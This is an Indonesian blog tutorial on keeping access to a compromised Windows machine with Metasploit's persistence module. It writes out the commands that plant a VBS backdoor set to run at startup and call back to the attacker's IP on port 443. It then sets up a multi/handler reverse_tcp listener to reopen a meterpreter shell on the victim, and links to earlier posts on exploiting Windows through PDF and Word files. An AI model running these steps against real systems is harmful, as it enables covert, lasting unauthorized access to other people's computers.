Anherr Blog's: Maintaining Access

<div style="text-align: justify;">
Haloo bro, kali ini saya akan membahas metasploit lagi nih, namun pembahasan kali ini salah satu teknik untuk meninggalkan backdoor didalam sistem target yang sudah terkena exploit, atau bahasa kerennya dalah Maintaining Access.<br />
<br />
Tujuan dari Maintaining Access ini adalah untuk meninggalkan pintu masuk (backdoor) yang di tanam pada sistem korban yang nantinya akan membuka suatu kesempatan atau peluang untuk kembali memasuki sistem tersebut kapan saja tanpa harus mengirim backdoor lagi.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Teknik ini dapat dilakukan setelah kita mendapatkan sesi meterpreter dari sistem korban, nahh bagaimana cara mendapatkan sessions meterpreter ?? kalian bisa baca tutorial saya tentang <a href="http://anher323.blogspot.co.id/2015/12/exploit-windows-menggunakan-pdf-dengan-metasploit.html" target="_blank">Cara Exploit Windows Menggunakan PDF</a> atau <a href="http://anher323.blogspot.co.id/2015/12/exploit-windows-menggunakan-msword.html" target="_blank">Cara Exploit Windows Menggunakan Ms.Word</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Tampilan setelah kita mendapatkan sesi meterpreter<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgDOkU6SNWAaftTVA7MCmiTwGxnwn-_c9_yxFuAAiUeOAOwOhBNXJYdsv3XxAERzn7coaBDLPUgBFAFKheqI8diidmbu6E0SQfVXsCNnCtYGlZC2mzBI_CqEAOFhsdUdnvu_45UF4uafI/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter sessions" border="0" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgDOkU6SNWAaftTVA7MCmiTwGxnwn-_c9_yxFuAAiUeOAOwOhBNXJYdsv3XxAERzn7coaBDLPUgBFAFKheqI8diidmbu6E0SQfVXsCNnCtYGlZC2mzBI_CqEAOFhsdUdnvu_45UF4uafI/s320/1.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<br />
Nah kita akan membuat backdoor tersebut dengan module yang ada di metasploit yaitu persistence<br />
Untuk melihat perintah-perintah  persistance ini ketikkan perintah<br />
<blockquote class="tr_bq">
run persistence -h</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmY9pvdy4EOkvZpjIWpAlZ2god3kGGr8mIidBpBBfeSzmV-KCi1Jb0Mn1rt5O3OumehPnbNr2-uW_Y2t4Tu_BM-IieNVnCEz8_IXu2tQmFtZmq39WaJF73yIsP5zmzL9yNTzamt6VS0ms/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run persistence -h" border="0" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmY9pvdy4EOkvZpjIWpAlZ2god3kGGr8mIidBpBBfeSzmV-KCi1Jb0Mn1rt5O3OumehPnbNr2-uW_Y2t4Tu_BM-IieNVnCEz8_IXu2tQmFtZmq39WaJF73yIsP5zmzL9yNTzamt6VS0ms/s320/2.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
</div>
<div style="text-align: justify;">
<br />
Selanjutnya kita tanamkan backdor ke sistem korban, dengan perintah<br />
<blockquote class="tr_bq">
run persistence -U -i 5 -p 443 -r 192.168.1.106</blockquote>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfUQz0jeR97-3fIGeRs4gEU35w2pLKox3Sf3_FXjT1TUHhAnUz_z2gRU95EFiiMXBOTKN_lxvGG4d6Raw-btpq1J-AeFV1kMqBxGq918IVQNRmBwMPBKVNKodd7yRFVGYQXih-UC89uAg/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run persistence -U -i 5 -p 443 -r 192.168.1.106" border="0" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfUQz0jeR97-3fIGeRs4gEU35w2pLKox3Sf3_FXjT1TUHhAnUz_z2gRU95EFiiMXBOTKN_lxvGG4d6Raw-btpq1J-AeFV1kMqBxGq918IVQNRmBwMPBKVNKodd7yRFVGYQXih-UC89uAg/s320/3.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Bisa di lihat dari screenshot diatas, perintah tersebut membuat sebuah backdoor dengan format vbs, dan segaligus membuat sebuah registry untuk backdoor tersebut.</div>
<br />
Keterangan :<br />
<ul>
<li>-U: merupakan perintah untuk memulai backdoors ketika sistem start up</li>
</ul>
<ul>
<li>-i: adalah interval untuk meload backdoor, disini saya isi 5 (detik)</li>
</ul>
<ul>
<li>-p: adalah port yang digunakan dalam menjalankan listener, disini saya isi port 443</li>
</ul>
<ul>
<li>-r: IP untuk menghubungkan kembali, 192.168.1.106 (alamat ip attacker)</li>
</ul>
Selanjutnya kita coba restart system korban untuk memastikan cara ini bekerja<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLaco28nH6Ml1G6jOTbvWaXL1nAmXgn6-Qedsyda_PZelREJYHiO5RKfK-9i7ELCmrxUvJjv4sJWxjLMh4vr-0A8ReUCr0ult8gssFTS044e3vsmJs01DhbcK-KX_loylAjsQzTaXASZ4/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="coba reboot" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLaco28nH6Ml1G6jOTbvWaXL1nAmXgn6-Qedsyda_PZelREJYHiO5RKfK-9i7ELCmrxUvJjv4sJWxjLMh4vr-0A8ReUCr0ult8gssFTS044e3vsmJs01DhbcK-KX_loylAjsQzTaXASZ4/s320/4.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: justify;">
Apabila backdoor sudah tertanam, untuk mengakses sistem korban kita tidak perlu mengirim backdoor kembali, kita langsung bisa menjalankan exploit dengan exploit multi handler</div>
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_tcp</blockquote>
Set lhost sesuai yang tadi di input di persistence <br />
<blockquote class="tr_bq">
set lhost 192.168.1.106</blockquote>
Set lport sesuai juga yang di input di persistence<br />
<blockquote class="tr_bq">
set lport 443</blockquote>
Lalu jalankan exploit kembali<br />
<blockquote class="tr_bq">
exploit</blockquote>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxYehQNYkReRofjoxnNIFNShC9bKVc81d0hMXr9y2gYT46CE3gKnsfnWMgeDb_ajbrbLYp2jiWRKiSJYq8d2ZrKC24NUxSTbMDgJAqr1lelq3pmE3uCiZa_giDIvtnh2g1zrIAZER0Zoo/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxYehQNYkReRofjoxnNIFNShC9bKVc81d0hMXr9y2gYT46CE3gKnsfnWMgeDb_ajbrbLYp2jiWRKiSJYq8d2ZrKC24NUxSTbMDgJAqr1lelq3pmE3uCiZa_giDIvtnh2g1zrIAZER0Zoo/s320/5.png" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Ternyata berhasil bro,wkwkw meterpreter terbuka kembali :v</div>
<div class="separator" style="clear: both; text-align: justify;">
ini adalah screenshot setelah  saya masuk ke shell korban :D</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIe6sPZlF5S_OY_sxtoX38DZ88U31VjEkbBovnQGyhJ3pFl1IsjdEGmc7_K-700w-_k2E4BxM-cyz1KpnVRqEi-sdjaF0V7owDIMpTfNTHZNvM08Nsc7fwSZ_nP0_pNskEfkD3vfzGNs/s1600/6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="shell" border="0" height="57" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIe6sPZlF5S_OY_sxtoX38DZ88U31VjEkbBovnQGyhJ3pFl1IsjdEGmc7_K-700w-_k2E4BxM-cyz1KpnVRqEi-sdjaF0V7owDIMpTfNTHZNvM08Nsc7fwSZ_nP0_pNskEfkD3vfzGNs/s320/6.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQJY_IspmZz9LkmG9BdbGu3KKv6JjwYEGZK1MOdmjtSwdwP2fGptm1Kgd2gxvROcDG_vsKnyLIyB-h0UDJAl8u2Apt0Tb2Gi5qyk4MqV0bEcfUVfhH4UzlC4vjFuSP-f8JG25uynhjWE/s1600/6a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ipcofig" border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQJY_IspmZz9LkmG9BdbGu3KKv6JjwYEGZK1MOdmjtSwdwP2fGptm1Kgd2gxvROcDG_vsKnyLIyB-h0UDJAl8u2Apt0Tb2Gi5qyk4MqV0bEcfUVfhH4UzlC4vjFuSP-f8JG25uynhjWE/s320/6a.jpg" title="Maintaining Acces dengan Persistence Metasploit" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
Sekian tutorial mengenai <b>Cara Meninggalkan Backdoor Permanen di Windows (Maintaining Access)</b>, ini hanya sebuah pembelajaran semata, apabila ada penyalahgunaan dari tutorial ini itu diluar tanggung jawab saya, gunakan ilmu dengan bijak, Terimakasih </div>
</div>

Meninggalkan Backdoor Permanen di Windows (Maintaining Access)

Haloo bro, kali ini saya akan membahas metasploit lagi nih, namun pembahasan kali ini salah satu teknik untuk meninggalkan backdoor didalam...

Baca selengkapnya »

Anherr Blog's

Sting Category

Meninggalkan Backdoor Permanen di Windows (Maintaining Access)

Popular Posts

Recent Post

Blog Archive